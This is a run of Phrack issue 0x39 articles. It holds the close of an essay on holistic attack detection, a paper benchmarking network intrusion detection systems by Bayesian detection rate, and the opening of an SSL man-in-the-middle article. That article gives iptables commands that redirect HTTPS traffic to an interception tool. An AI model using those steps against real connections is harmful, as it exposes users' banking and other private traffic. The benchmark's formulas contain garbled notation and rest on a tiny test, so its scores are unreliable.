using reductionist techniques, and this is discussed along with other issues
in the section below.
----| 6. An Example Model for an Enterprise Security Monitoring System
Employing a holistic approach to attack detection is especially useful in
enterprise environments. In such environments, the large number of event
generators can report such a large amount of data that the task of detecting
attacks within that dataset can only realistically be achieved
programmatically; that is where holistic methods can add value.
The "event generators" mentioned above can be any component within the IT
infrastructure that generates information regarding the status of some aspect
of the infrastructure. The form and function of event generators is
irrelevant to this discussion, although they would likely include host and
network based IDS, RMON probes, firewalls, routers, hosts, and so on. Each
event generator will employ an event delivery mechanism such as SNMP, syslog,
ASCII log file, etc. In this article we will abstract out the delivery
mechanism used to transport events prior to processing.
I propose the following model.
The data from event generators can be used to populate a knowledge structure
that isomorphically describes a number of common attack methodologies. Think
about the ordered set of steps that are carried out when attacking a system;
this is a methodology. There are a large number of ways in which each step
in an attack can be carried out, but the relationship between the steps
usually remains static in terms of the underlying methodology.
An isomorphism is an information preserving transformation. It applies when
two structures can be mapped onto each other in such a way that for each part
of one structure there is a corresponding part in the other structure, where
"corresponding" means that the two parts play similar roles in their respective
structures.
A set of structures that map isomorphically to common attack methodologies can
therefore be constantly compared to a structure that is being constantly
populated by event data from the monitored environment.
The process used to determine when an attack is detected would use a
"soft-decision" approach. A soft-decision process can report partial evidence
when a predetermined amount of a knowledge structure is populated. A
soft-decision process can also output a level of confidence in the result at
any given time, i.e. it accumulates and integrates data (events) and reports
partial conclusions and the associated level of (un)certainty as new data
arrives.
The advantage in this approach is that an attacker can often hide or obfuscate
components of their attack by exploiting weaknesses in specific attack
detection technologies or by simply being stealthy (remember - we still rely
on reductionist event gathering technologies "underneath"). However, the weight
of data collected within the environment can be used to indicate the presence
of an attack on a higher, more abstract layer, in which seemingly unrelated
changes or events that occur within the environment can be shown to be related
by using codified knowledge of the sequence of events that comprise different
types of attacks (methodologies).
In addition, weaknesses in the ability of individual event detectors to make an
accurate decision about activity (see [Ptacek, 2000]) become less damaging.
Instead of relying on the absolute determination of the existence of an attack,
an event detector can contribute information about what it thinks it _might_
have seen, and leave attack determination to a higher layer.
The attack structure of attacks that employ automated agents as in
[Jitsu et al., 2000], or distributed agents as in [Stewart, 2000], will likely
be the most simplistic to codify as they employ techniques based on programmed
internal rules.
----| 7. Concluding Remarks
The difficulties involved in performing security monitoring of enterprise
environments has driven the recent demand for outsourced managed security
monitoring services. Companies such as Guardent (www.guardent.com),
Counterpane (www.counterpane), and Internet Security Systems (www.issx.com) all
offer managed security services. These companies are employing technologies
which are based in part on a holistic approach, for example - those described in
[Counterpane, 2001].
The individual components of an attack, such that an individual event generator
might detect, are not "context free". The reductionist idea that each
component within an attack contributes to the entirety of the attack in a
manner that is independent of the other components, must be rejected. The
holistic concept is that an attack cannot be considered to be built up from the
context free functions of its components (a declarative approach); rather, it
is considered how the components interact (a procedural approach).
From an attackers perspective, it will soon not be enough to obfuscate against
detection by specific technologies. Attacks that attempt to shield themselves
against detection by specific approaches to intrusion detection (for example -
by modulating shellcode to escape detection by specific signatures), and/or
against detection by specific products, will become less effective. The next
generation of security monitoring and intrusion detection technologies will
employ a strategy based on holistic methods in which the underlying form and
structure of attacks is codified and can subsequently be recognized.
----| 8. References
[Counterpane, 2000] Counterpane Internet Security, Socrates and Sentry.
http://www.counterpane.com/integrated.html
[Hofstadter, 1979] Douglas R. Hofstadter, "Godel, Escher, Bach: an Eternal
Golden Braid", 20th-Anniversary Edition, Penguin Books,
2000.
[Huang et al., 1998] Ming-Yuh Huang and Thomas M. Wicks, "A Large-scale
Distributed Intrusion Detection Framework Based on
Attack Strategy Analysis", Proc. 1st International
Workshop on the Recent Advances in Intrusion Detection,
Louvain-la-Neuve, Belgium, September 14-16, 1998.
[Jitsu et al., 2000] Jitsu-Disk, Simple Nomad, Irib, "Project Area52",
Phrack Magazine, Volume 10, Issue 56, File 6 of 16,
May 2000.
[Moore, 2000] http://independent-sun-01.whoc.theplanet.co.uk/enjoymen
t/Books/Interviews/2000-07/alanmoore210700.shtml
[Ptacek et al., 2000] Thomas H. Ptacek and Timothy N. Newsham, "Insertion,
Evasion, and Denial of Service: Eluding Network
Intrusion", January 1998.
http://www.securityfocus.com/data/library/ids.ps
[Staniford-Chen, 1995] Stuart Staniford-Chen, "Distributed Tracing of
Intruders", Masters Thesis, University of California,
Davis, 1995.
[Stewart, 2000] Andrew J. Stewart, "Distributed Metastasis: A
Computer Network Penetration Methodology", September,
1999. http://www.securityfocus.com/data/library/distri
buted_metastasis.pdf
[Zhang et al., 2000] Yin Zhang and Vern Paxson, "Detecting Stepping Stones",
Proc. 9th USENIX Security Symposium, Denver, Colorado,
August 2000.
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x0c of 0x12
|=-----------------=[ Network Intrusion Detection System ]=--------------=|
|=--------------=[ On Mass Parallel Processing Architecture ]=-----------=|
|=------------=[ Wanderley J. Abreu Jr. <storm@stormdev.net> ]=---------=|
"Nam et Ipsa Scientia Potestas Est" - Francis Bacon
1 ----|Introduction:
One of the hardest challenges of the security field is to detect with
a 100% certainty malicious attacks while they are occuring, and taking the
most effective method to log, block and prevent it from happening again.
The problem was solved, partially. About 19 years ago, Intrusion
Detection System concept came to fit the market wishes to handle security
problems concerning Internal/External attacks, with a low or medium cost,
without major needs for trained security personnel, since any network
administrator "seems" to manage them well.
But then we came across some difficulties with three demands of
anomaly and policy based IDS which are: effectiveness, efficiency and ease
of use.
This paper focuses on enhancing the bayesian detection rate by
constructing a Depth-Search algorithm based IDS on a mass parallel processing
(MPP) environment and give a mathematical aproach to effectiveness of this
model in comparision with other NIDS.
One Problem with building any software on such an expensive
environment,like most MPPs, is that it is limited to a very small portion
of computer community, thus we'll focus on High Performance Computer
Cluster called "Class II - Beowulf Class Cluster" which is a set of
tools developed by NASA. These tools are used to emulate MPP environment
built of x86 computers running under Linux Based Operating Systems.
The paper does not intend to offer the absolute solution for false
positives and false negatives generated by Network-Based IDS, but it gives one
more step towards the utopia.
2 -----|Bayesian Detection Rate (BDR):
In 1761, Reverend Thomas Bayes brought us a concept for
govern the logical inference, determining the degree of confidence we may
have, in various possible conclusions, based on the body of
evidence available. Therefore, to arrive at a logically defensible prediction
one must use Bayes theorem.
The Bayesian Detection Rate was first used to measure IDS
effectiveness in Mr. Stefan Axelson paper "The Base-Rate Fallacy and its
Implications for the Difficulty of Intrusion Detection" presented on RAID 99
which gives a realistic perspective on how "False Alarm" rate can limit
the performance of an IDS.
As said, the paper aims to increase the detection rate
reducing false alarms on the IDS model, therefore we must know the principles
of Bayesian Detection Rate (BDR):
P(D|H)P(H)
P(H|D) = -------------------------
P(D|H)P(H) + P(D|H')P(H')
Let's use a simple example to ilustrate how Bayes Theorem Works:
Suppose that 2% of people your age and heredity have cancer.
Suppose that a blood test has been developed that correctly
gives a positive test result in 90% of people with cancer, and gives a false
positive in 10% of the cases of people without cancer. Suppose you take
the test, and it is positive. What is the probability that you actually
have cancer, given the positive test result?
First, you must identify the Hypothesis, H, the Datum, D,
and the probabilities of the Hypothesis prior to the test, and the hit rate
and false alarm rates of the test.
H = the hypothesis; in this case H is the hypothesis that you have cancer,
and H' is the hypothesis that you do not.
D = the datum; in this case D is the positive test result.
P(H) is the prior probability that you have cancer, which was given in
the problem as 0.02.
P(D|H) is the probability of a positive test result GIVEN that you have cancer.
This is also called the HIT RATE, and was given in the problem as 0.90.
P(D|H') is the probability of a positive test result GIVEN that you do not
have cancer. This is also called the FALSE ALARM rate, and was given as 0.10.
P(H|D) is the probability that you have cancer, given that the test was
positive. This is also called the posterior probability or Bayesian Detection
Rate.
In this case it was 0.155(16% aprox., i'd not bet the rest of my days on
this test).
Applying it to Intrusion Detection Let's say that:
Ii -> Intrusion behaviour
Ij -> Normal behaviour
Ai -> Intrusion Alarm
Aj -> No Alarm
Now, what a IDS is meant to do is alarm us when log pattern
really indicates an intrusion, so what we want is P(Ii|Ai), or the Bayesian
Detection Rate.
P(Ii) P(Ai|Ii)
P(Ii|Ai) = ----------------------------------
P(Ii) P(Ai|Ii) + P (Ij) P(Ai|Ij)
Where:
True Positive Rate P(Ai|Ii):
Real Attack-Packets Detected
P(Ai|Ii) = ----------------------------------
Total Of Real Attack-Packets
False Positive Rate P(Ai|Ij):
False Attack-Packets Detected
P(Ai|Ij) = -------------------------------------------------------
(Total Of Packets) - (Total Of Real Attack-Packets)
Intrusive Behaviour P(Ii):
1
P(Ii) = -------------------------------------------------------------
Total of Packets
-----------------------------------------------------
(Number of Packets Per Attack) * (Number of Attacks)
Non-Intrusive Behaviour P(Ij):
P(Ij) = 1 - P(Ii)
By now you should realize that the Bayesian Detection Rate
increases if the False Positive Rate decreases.
3 -----|Normal Distribution:
To detect a raise on BDR we must know what is the standard BDR
for actual Intrusion Detection Systems so we'll use a method called Normal
Distribution.
Normal distributions are a family of distributions that have the
same general shape. They are symmetric with scores more concentrated in the
middle than in the tails. Normal distributions are sometimes described as
bell shaped. The area under each curve is the same.
The height of a normal distribution can be specified mathematically in terms
of two parameters:
+the mean (m) and the standard deviation (s).
+The height (ordinate) of a normal curve is defined as:
1
f(x)= ------------------ * e ^(-(x-m)^2)/2s^2
/-------------|
\/ 2*p*s^2
Where m is the mean and s is the standard deviation, p is the
constant 3.14159, and e is the base of natural logarithms and is equal
to 2.718282. x can take on any value from -infinity to +infinity.
3.1 ---------| The Mean:
The arithmetic mean is what is commonly called the
average and it can be defined as:
x1 + x2 + x3 + ... + xn
m = -----------------------
n
Where n is the number of scores entered.
3.2 ---------| The Standard Deviation:
The Standard Deviation is a measure of how spread out a distribution
is.
It is computed as the average squared deviation of each number from
its mean:
(x1 - m) ^2 + (x2 - m) ^2 + (x3 - m) ^2 + ... + (xn - m) ^2
s^2 = -------------------------------------------------------------
n
Where n is the number of scores entered.
We'll define a experimental method in which X will be the BDR for
the most known IDS from market and we'll see how much our protype based on
MPP plataform will differ from their results with the Normal Distribution
Method and with the Standard Deviation.
4 ------|Experimental Environment:
Now we should gather experimental information to trace some standard
to IDS BDR:
Let's take the default installation of 10 IDS plus our prototype, 11
in total running at this configuration:
*Pentium 866 MHZ
*128 MBytes RAM
*100 Mb/s fast Ethernet Adapter(Intel tulip based(2114X) )
*1Megabyte of synchronous cache
*Motherboard ASUS P3BF
*Total of 30 gigabytes of HD capacity Transfer Rate of 15 Mb/s
The Experiment will run for 22 days. Each IDS will run separately
for 2 days.
We'll use 3 Separate Subnets here 192.168.0.0/26 Netmask
255.255.255.192, 192.168.0.129/26 Netmask 255.255.255.192, And a Real IP
Network, 200.200.200.x.
The IDS can only differ on OS aspect and methods of detection,
but must still mantain the same node configuration.
We'll simulate, random network usage and 4 intrusion attacks
(4 packets) until the amount of traffic reaches around 100,000 packets
from diferent protocols.
The gateway (host node) remains routing or seeing packets of the
Internal network, Internet, WAN, etc.
-------------------
| SWITCH |
-------------------
| | |______DMZ ____>Firewall___>Router___> Internet
| | |
| |_________ | __________ LAN ____>
_____________| | | |
| -----
----- HOST NODE | | -------
| | (login node) | | | |---
| | | | ---- | | |
| | ----- ------- |
----- node |ooooo| _
node one |ooooo| | |
two(IDS) (gateway) ------- -
Keyboard/Mouse
Monitor
4.1 -----|MPP Environment:
Now we must define a network topology and a standard operating
system for our prototype.
The gateway host is in the three networks at the same time and it
will handle the part of the software that will gather packet information,
process a Depth-1st search and then transmit the supicious packets to the
other hosts.
The hardware will be:
*3 Pentium II 400 MHZ
*128 Megabytes RAM
----------------------
*1 Pentium III 550 MHZ
*512 Megabytes RAM
----------------------
*Motherboard ASUS P3BF
*Total of 30 gigabytes of HD capacity Transfer Rate of 15 Mb/s
*1Megabyte of synchronous cache
*100 Mb/s fast Ethernet Adapter ( Intel tulip based (2114X) )
The OS will be the Extreme Linux distribution CD which comes with all
the necessary components to build a Cluster.
Note that we have the same processing capability of the other NIDS
systems (866 MHZ), we'll discuss the cost of all environments later.
-------------------
| SWITCH |
-------------------
__________| | | | | |______DMZ ____>Firewall___>Router___> Internet
| ______| | | | |
| | __| | | | __________ LAN ____>
| | | | | |
----- ----- ----- | | -----
| | | | | | ----- |_____________| | -------
| | | | | | | | | | | |---
| | | | | | | | HOST NODE | | ---- | | |
----- ----- ----- | | (login node) ----- ------- |
node node node ----- node |ooooo| _
five four three node one |ooooo| | |
two (gateway) ------- -
Keyboard/Mouse
Monitor
5 ------|The Experiment:
Tested NIDS Were:
+SNORT
+Computer Associates Intrusion Detection System
+Real Secure
+Shadow
+Network Flight Recorder
+Cisco NetRanger
+EMERALD (Event Monitoring Enabling Response to Anomalous Live Disturbances)
+Network Associates CyberCop
+PENS Dragon Intrusion Detection System
+Network ICE
+MPP NIDS Prototype
5.1 ------|Results:
----|Snort
False positives - 7
False Negatives - 3
True Positives - 1
1
P(Ii) = -------------------- = 2.5 * 10^-4
1*10^5
--------
1*4
P(Ij) = 1 - P(Ii) = 0.99975
P(Ai|Ii) = 1/4 = 0.25
P(Ai|Ij) = 7/99996 = 7.0 * 10^-5
(2.5 * 10^-4) * (2.5^-10)
BDR = ------------------------------------------------------------- = 0.4718
(2.5 * 10^-4) * (2.5^-10) + (9.9975 * 10^-1) * (7.0 * 10^-5)
----|Computer Associates Intrusion Detection System
False positives - 5
False Negatives - 2
True Positives - 2
1
P(Ii) = -------------------- = 2.5 * 10^-4
1*10^5
--------
1*4
P(Ij) = 1 - P(Ii) = 0.99975
P(Ai|Ii) = 2/4 = 0.50
P(Ai|Ij) = 5/99996 = 5.0 * 10^-5
(2.5 * 10^-4) * (5.0^-10)
BDR = ------------------------------------------------------------- = 0.7143
(2.5 * 10^-4) * (5.0^-10) + (9.9975 * 10^-1) * (5.0 * 10^-5)
----|Real Secure
False positives - 6
False Negatives - 2
True Positives - 2
1
P(Ii) = -------------------- = 2.5 * 10^-4
1*10^5
--------
1*4
P(Ij) = 1 - P(Ii) = 0.99975
P(Ai|Ii) = 2/4 = 0.50
P(Ai|Ij) = 6/99996 = 6.0 * 10^-5
(2.5 * 10^-4) * (5.0^-10)
BDR = ------------------------------------------------------------- = 0.6757
(2.5 * 10^-4) * (5.0^-10) + (9.9975 * 10^-1) * (6.0 * 10^-5)
----|Network Flight Recorder
False positives - 5
False Negatives - 1
True Positives - 3
1
P(Ii) = -------------------- = 2.5 * 10^-4
1*10^5
--------
1*4
P(Ij) = 1 - P(Ii) = 0.99975
P(Ai|Ii) = 3/4 = 0.75
P(Ai|Ij) = 5/99996 = 5.0 * 10^-5
(2.5 * 10^-4) * (7.5^-10)
BDR = ------------------------------------------------------------- = 0.7895
(2.5 * 10^-4) * (7.5^-10) + (9.9975 * 10^-1) * (5.0 * 10^-5)
----|Cisco NetRanger
False positives - 5
False Negatives - 3
True Positives - 1
1
P(Ii) = -------------------- = 2.5 * 10^-4
1*10^5
--------
1*4
P(Ij) = 1 - P(Ii) = 0.99975
P(Ai|Ii) = 1/4 = 0.25
P(Ai|Ij) = 5/99996 = 5.0 * 10^-5
(2.5 * 10^-4) * (2.5^-10)
BDR = ------------------------------------------------------------- = 0.5556
(2.5 * 10^-4) * (2.5^-10) + (9.9975 * 10^-1) * (5.0 * 10^-5)
----|EMERALD
False positives - 7
False Negatives - 3
True Positives - 1
1
P(Ii) = -------------------- = 2.5 * 10^-4
1*10^5
--------
1*4
P(Ij) = 1 - P(Ii) = 0.99975
P(Ai|Ii) = 1/4 = 0.25
P(Ai|Ij) = 7/99996 = 7.0 * 10^-5
(2.5 * 10^-4) * (2.5^-10)
BDR = ------------------------------------------------------------ = 0.4718
(2.5 * 10^-4) * (2.5^-10) + (9.9975 * 10^-1) * (7.0 * 10^-5)
----|CyberCop
False positives - 4
False Negatives - 2
True Positives - 2
1
P(Ii) = -------------------- = 2.5 * 10^-4
1*10^5
--------
1*4
P(Ij) = 1 - P(Ii) = 0.99975
P(Ai|Ii) = 2/4 = 0.50
P(Ai|Ij) = 4/99996 = 4.0 * 10^-5
(2.5 * 10^-4) * (5.0^-10)
BDR = ------------------------------------------------------------ = 0.7576
(2.5 * 10^-4) * (5.0^-10) + (9.9975 * 10^-1) * (4.0 * 10^-5)
----|PENS Dragon Intrusion Detection System
False positives - 6
False Negatives - 2
True Positives - 2
1
P(Ii) = -------------------- = 2.5 * 10^-4
1*10^5
--------
1*4
P(Ij) = 1 - P(Ii) = 0.99975
P(Ai|Ii) = 2/4 = 0.50
P(Ai|Ij) = 6/99996 = 6.0 * 10^-5
(2.5 * 10^-4) * (5.0^-10)
BDR = ------------------------------------------------------------- = 0.6757
(2.5 * 10^-4) * (5.0^-10) + (9.9975 * 10^-1) * (6.0 * 10^-5)
----|Network ICE
False positives - 5
False Negatives - 3
True Positives - 1
1
P(Ii) = -------------------- = 2.5 * 10^-4
1*10^5
--------
1*4
P(Ij) = 1 - P(Ii) = 0.99975
P(Ai|Ii) = 1/4 = 0.25
P(Ai|Ij) = 5/99996 = 5.0 * 10^-5
(2.5 * 10^-4) * (2.5^-10)
BDR = ------------------------------------------------------------- = 0.5556
(2.5 * 10^-4) * (2.5^-10) + (9.9975 * 10^-1) * (5.0 * 10^-5)
----|Shadow
False positives - 3
False Negatives - 2
True Positives - 2
1
P(Ii) = -------------------- = 2.5 * 10^-4
1*10^5
--------
1*4
P(Ij) = 1 - P(Ii) = 0.99975
P(Ai|Ii) = 2/4 = 0.50
P(Ai|Ij) = 3/99996 = 3.0 * 10^-5
(2.5 * 10^-4) * (5.0^-10)
BDR = ------------------------------------------------------------- = 0.8065
(2.5 * 10^-4) * (5.0^-10) + (9.9975 * 10^-1) * (3.0 * 10^-5)
----|MPP NIDS Prototype
False positives - 2
False Negatives - 1
True Positives - 3
1
P(Ii) = -------------------- = 2.5 * 10^-4
1*10^5
--------
1*4
P(Ij) = 1 - P(Ii) = 0.99975
P(Ai|Ii) = 3/4 = 0.75
P(Ai|Ij) = 2/99996 = 2.0 * 10^-5
(2.5 * 10^-4) * (7.5^-10)
BDR = ------------------------------------------------------------- = 0.9036
(2.5 * 10^-4) * (7.5^-10) + (9.9975 * 10^-1) * (2.0 * 10^-5)
4.2 -------|Normal Distribution
Using the normal distribuiton method let us identify, for a scale from
1 to 10, what's the score of our NIDS Prototype:
---|The Average BDR for NIDS test was:
0.4718+0.7143+0.6757+0.7895+0.5556+0.4718+...+0.8065+0.9036
m(BDR) = -------------------------------------------------------------
11
m(BDR) = 0.6707
---|The Standard Deviation for NIDS test was:
(0.4718 - 0.6707)^2+(0.7143 - 0.6707)^2+...+(0.9036 - 0.6707)^2
s(BDR)^2 = ----------------------------------------------------------------
11
s(BDR) = 0.1420
---|The Score
The mean is 67.07(m) and the standard deviation is 14.2(s). Since
90.36(X) is 23.29 points above the mean (X - m = 23.29) and since a standard
deviation is 14.2 points,there is a distance of 1.640(z) standard deviations
between the 67.07 and 90.36 (z=[23.29/14.2]) plus 0,005 for rounds and
5.0 for our average standard score. The score (z) can be computed using the
following formula:
X - m
Z = --------
s
If you get a positive number for Z then apply (z = z + 0.005 + 5.0)
If you get a negative number for Z then apply (z = z - 0.005 + 5.0)
You should consider just the two first decimal places:
So for our prototype we'll get:
z = 1.640 + 0.005 + 5.0
z = 6.64
Our prototype scored 6.64 in our test, at this point the reader is
encouraged to make the same calculation for all NIDS, you'll see that our
prototype achieved the best score of all NIDS we tested.
6 -------|Why?
Why our prototype differs so much from the rest of the NIDS, if it
was built under almost the same concepts?
6.1 ---|E,A,D,R AND "C" Boxes
Using the CIDF (Common Intrusion Detection Framework) we have 4 basic
boxes, which are:
E - Boxes, or event generators, are the sensors; Their Job is to
detect events and push out the reports.
A - Boxes receive reports and do analysis. They might offer a
prescription and recommend a course of action.
D - Boxes are database components; They can determine wheter an
IP address or an attack has been seen before, and they can do trend analysis
R - Boxes can take the input of the E, A and D Boxes and Respond to
the event
Now what are the "C" - Boxes? They are Redundancy Check boxes,
they use CRC methods to check if a True Positive is really a True Positive or
not.
The C-Boxes can tell If an E - Box generates a rightful report or an
A - Box generates a real true positive based on that report.
Because we're dealing with a MPP Enviroment this node can be at all
machines dividing the payload data by as much as boxes you have.
6.2 ---|CISL
Our prototype Boxes use a language called CISL (Common Intrusion
Specification Language) to talk with one another and it convey the following
kinds of information:
+Raw event information: Audit Trail Records and Network Traffic
+Analysis Results: Description of System Anomalies and Detected Attacks
+Response Prescriptions: Halt Particular Activities or modify
component security specifications
6.3 ---|Transparent NIDS Boxes
All but some E-Boxes will use a method comonly applied to firewalls
and proxies to control in/out network traffic to certain machines. It's Called
"Box Transparency", it reduces the needs for software replacement and user
retain.
It can control who or what is able to see the machine so all
unecessary network traffic will be reduced by a minimum.
6.4 ---|Payload Distribution And E-Box to A-Box Tunneling
Under MPI (Message Passing Interface) programming environment, using
Beowulf as Cluster Plataform, we can distribute network payload traffic
parsing of A - Boxes every machine in the cluster, maximizing the A - Box
perfomance and C - Box as well.
All other network traffic than the report data that come from E-Boxes
by a encrypted tunneling protocol, is blocked in order to maximize the cluster
data transfer and the DSM (Distributed Shared Memory).
7 -------|Conclusions
Altough Neither Attack Method nor the NIDS Detection Model were
considered on this paper, it's necessary to add that no one stays with a NIDS
with their default configuration, so you can achieve best scores with your
well configured system.
You can also score any NIDS scope with this method and it gives
you a glimpse of how your system is doing in comparison with others.
Like it was said at the introduction topic, this paper is not a final
solution for NIDS performance mesurement or a real panacea to false positive
rates (doubtfully any paper will be), but it gives the reader a relative easy
way to measure yours NIDS enviroment effectivess and it proposes one
more way to perform this hard job.
8 -------|Bibliography
AMOROSO, Edward G. (1999), "Intrusion Detection", Intrusion NetBook, USA.
AXELSON, Stefan (1999) - "The Base-Rate Fallacy and its Implications for
the Difficulty of Intrusion Detection",
www.ce.chalmers.se/staff/sax/difficulty.ps, Sweden.
BUNDY, Alan (1997), "Artificial Inteligence Techniques", Springer-Verlag
Berlin Heidelberg, Germany.
BUYYA, Rajkumar (1999), "High Performance Cluster Computing: Architectures
and Systems", Prentice Hall, USA.
KAEO, Merike (1999), "Designing Network Security", Macmillan Technical
Publishing, USA.
LEORNARD, Thomas (1999), "Bayesian Methods: An Analysis for Statisticians
and Interdisciplinary Researchers", Cambridge Univ Press, UK.
NORTHCUTT, Stephen (1999), "Network Intrusion Detection: An Analyst's
Handbook", New Riders Publishing, USA.
PATEL, Jagdish K. (1996), "Handbook of the Normal Distribution",
Marcel Dekker, USA.
STERLING, Thomas L. (1999), "How to Build a Beowulf: A Guide to
the Implementation and Application of PC Clusters", MIT Press, USA.
9 -------|Acknowlegments:
#Segfault at IRCSNET, Thanks for all fun and moral support
TICK, for the great hints on NIDS field and beign the first
one to believe on this paper potential
VAX, great pal, for all those sleepless nights
Very Special Thanks to GAMMA, for the great Text & Math hints
SYD, for moral support and great jokes
All THC crew
Michal Zalewski, dziekuje tobie za ostatnia noc
My Girlfriend Carolina, you all Know why :)
Storm Security Staff, for building the experimental environment
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x0d of 0x12
|=---=[ Haaaang on snoopy, snoopy hang on. (SSL for fun and profit) ]=---=|
|=-----------------------------------------------------------------------=|
|=------------------=[ Stealth <stealth@segfault.net> ]=-----------------=|
Introduction
------------
SSL in version 3 known as SSLv3 or current version 3.1 also known
as TLS provides a mechanism to securely transfer data over a network
with recognition of modified or re-played packets. It has all requirements a
secure system needs for, lets say, managing your bankaccounts.
I'll show that in practise this is not true.
In that article I will guide you through the parts
of SSL which are important for us and necessary to know.
Things we do not play with such as the SSL handshake are not
explained in depth; take a look to the references
if you are interested.
1. Why SSL
----------
SSL was designed to provide:
1.) Confidentiality
This is reached by encrypting the data that is passed over the
network with a symetric algorithm choosen
during SSL handshake. SSL uses variable amount of ciphers,
assumed to be non-breakable. If a new attack shows up against
a specific algorithm, this does not hurt SSL much,
it just chooses a different one.
2.) Message Integrity
SSL is using a strong Message Authentication Code
(MAC) such as SHA-1 which is appended to the end of the packet
that contains the data and encrypted along with the payload.
That way SSL detects when the payload is tampered with, since the
computed hashes will not match. The MAC is also used to protect the
handshake from tampering.
2.1.) Protection against replay-attacks
SSL is using seqence-numbers to protect the communicating parties from
attackers who are recording and replaying packets. The sequence-number
is encrypted as the payload is. During handshake a 'random' is used
to make the handshake unique and replay attacks impossible.
2.2.) Protection against reorder-attacks
As in 2.1.) the seqence-numbers also forbid to record packets and send
them in a different order.
3.) Endpoint Authentication
With X509 (currently version 3) certificates SSL supports authentication
of clients and servers. Authentication of servers is what you want
when using https with your bank, but this is where we take a deeper look.
This sounds pretty secure. However using the program that is explained until
the end of this article, neither of the points is true any longer (except
we cannot break client-authentication).
At the end we are able to watch at the plain data, modifying it at our needs,
recording it, sending it delayed, in wrong order or duplicated.
This will basicly be done via a man in the middle attack where several
weaknesses in interactive SSL-clients are exploited, "give it to the user"
in particular.
2. X509 certificates
--------------------
X509 certificates are integral part of SSL. The server sends his cert
to the client during SSL handshake.
A X509 cert contains the distinguished name (DN) of the issuer
the DN of the subject, a version and serialnumber, algorithms choosen,
a timeframe where the key is valid and ofcorse the public key of the subject.
The subject is the (distinguished) name of the entity that the public key
in this cert belongs to. Unfortunally in plain X509 certs there is no
field that is labeled "DNS-name" so that you can match it against the URL
you are viewing for instance. Usually the CN field is what is mapped to
the DNS name but this is just a convention which both (client and entity
offering its cert) must be aware of.
"Issuer" is the (distinguished) name of the entity that signed this cert
with its private key. It is called a Certificate Authority -- CA.
Lets view a X509 cert:
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net
Validity
Not Before: Nov 19 01:57:27 2000 GMT
Not After : Apr 5 01:57:27 2028 GMT
Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2:
e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05:
e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd:
70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9:
0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25:
47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12:
a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7:
a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1:
83:88:8f:c4:6a:8c:bb:26:fd
Exponent: 65537 (0x10001)
Signature Algorithm: md5WithRSAEncryption
7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d:
e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee:
42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e:
a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca:
ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd:
8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7:
80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03:
82:f1
Important line is
Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net
Where C, ST, L, O and Email (so called relative DNs -- RDN) build the issuer
DN.
Same for the subject:
Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Certs may be be signed by a public known CA where the subject has
no control over the private key used for that purpose, or by the
subject itself -- so called self-signed cert.
In this example, the cert is signed by a own CA.
By the way, this is the original segfault.net certificate,
noone was intercepting communication while fetching it.
We will later see how it looks like when someone is playing
with the connection.
This certificate is exchanged during SSL handshake when you
point netscape browser to https://segfault.net. The public key contained
in this cert is then used for session encryption.
To have a pretty good level of security, certs should be signed
by a (either your own, as in this example, or a public) CA
where the client has the public key handy to check this cert.
If the client does not have the public key from the CA to check the
integrity of the cert, it prompts the user to accept/deny it.
This "requirement" for interactive clients and the fact that
there are so many "well-surfed" sites which provide certs where nobody
has the key for proper checking by default will in last consequence
make SSL obsolete for common interactive SSL clients, i.e. Netscape
browser.
3. Getting in between
---------------------
As seen, X509-certificates are an important part of SSL. Its task is
to prove to the client that he is talking to the server he is expecting,
and that he is using the apropriate key while doing so.
Now, imagine what could be done when we could fake such a certificate,
and transparently forward a SSL connection.
Got it? Its worth a try. Our leading motto 'teile und herrsche' shows
that there are two problems which we must solve.
a) Hijacking the connection to be able to transparently forward it.
b) Faking certificates to the client, so that he always sees the certs
he is expecting and taking us for the real server.
a+b are usually called a 'man in the middle' attack.
X509 certs should make this impossible but common cert-checking
implementations such as Netscape browser (and in general, interactive
clients) hardly get it.
First problem is pretty easy to solve. Given that we sit physically
between the two parties, we just use our firewall skills (preferably on
Linux or BSD :) to redirect, lets say https-traffic to our program
called 'mimd'. This would probably look like
# ipchains -A input -s 0/0 -d 0/0 443 -j REDIRECT 10000 -p tcp
or similar to grab the https-traffic on the input chain.
For local mimd action on a 2.4 kernel box you'd type
# iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 --dport 443\
-j REDIRECT --to-port 10000
Given the (expected) source-ports from the SSL-client. If we ommit that,
mimd will enter an infinite loop (iptables would redirect already redirected
traffic). Since mimd binds to port 8888 and up it does not match the rule.
You do not need to sit physically between the parties,
it is usually enough to be in the LAN of the server or
